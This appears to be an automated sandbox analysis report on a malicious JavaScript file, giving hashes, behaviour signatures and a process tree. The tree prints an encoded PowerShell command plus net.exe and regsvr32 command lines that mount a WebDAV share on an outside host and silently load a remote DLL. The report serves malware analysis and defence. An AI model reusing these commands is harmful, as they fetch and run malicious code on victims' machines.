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Analysis

  • max time kernel
    139s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 15:17

General

  • Target

    2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js

  • Size

    14KB

  • MD5

    76b1c0c1f2ae1fe9dc55aa7f181ab628

  • SHA1

    bf32a35f1d9d971cb1ed7e977b1cf8e177ee8479

  • SHA256

    2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0

  • SHA512

    d8f4723b2a154ff844556a0a09073380ec4b2f34b4ad6a39e558c781f8c0e4354168cddb770127992bf6a8835dcc4d92bfe07e462071c5cd5df0dff8b57aa3a2

  • SSDEEP

    96:2qZILNtuhAjOSCG+I9PZL702KMCzK/pGPiKEKU1SbFAPFFZAPKzMlTYvYWw:tZUPOSJ+0ZL7tmpmoblr

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2a29e36194a4a1374f143aee2c97a4c710ee6fd28bdcad0398f2373bf0a55fd0.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADIAMwA3ADUAMgA3ADUAMgAxADIAMQA3ADIANgAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4428
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:1812
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\123752752121726.dll
          3⤵
            PID:3196

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2abpyprt.bwp.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4428-0-0x00007FFD073C3000-0x00007FFD073C5000-memory.dmp

        Filesize

        8KB

      • memory/4428-6-0x0000023BB1110000-0x0000023BB1132000-memory.dmp

        Filesize

        136KB

      • memory/4428-11-0x00007FFD073C0000-0x00007FFD07E81000-memory.dmp

        Filesize

        10.8MB

      • memory/4428-12-0x00007FFD073C0000-0x00007FFD07E81000-memory.dmp

        Filesize

        10.8MB

      • memory/4428-15-0x00007FFD073C0000-0x00007FFD07E81000-memory.dmp

        Filesize

        10.8MB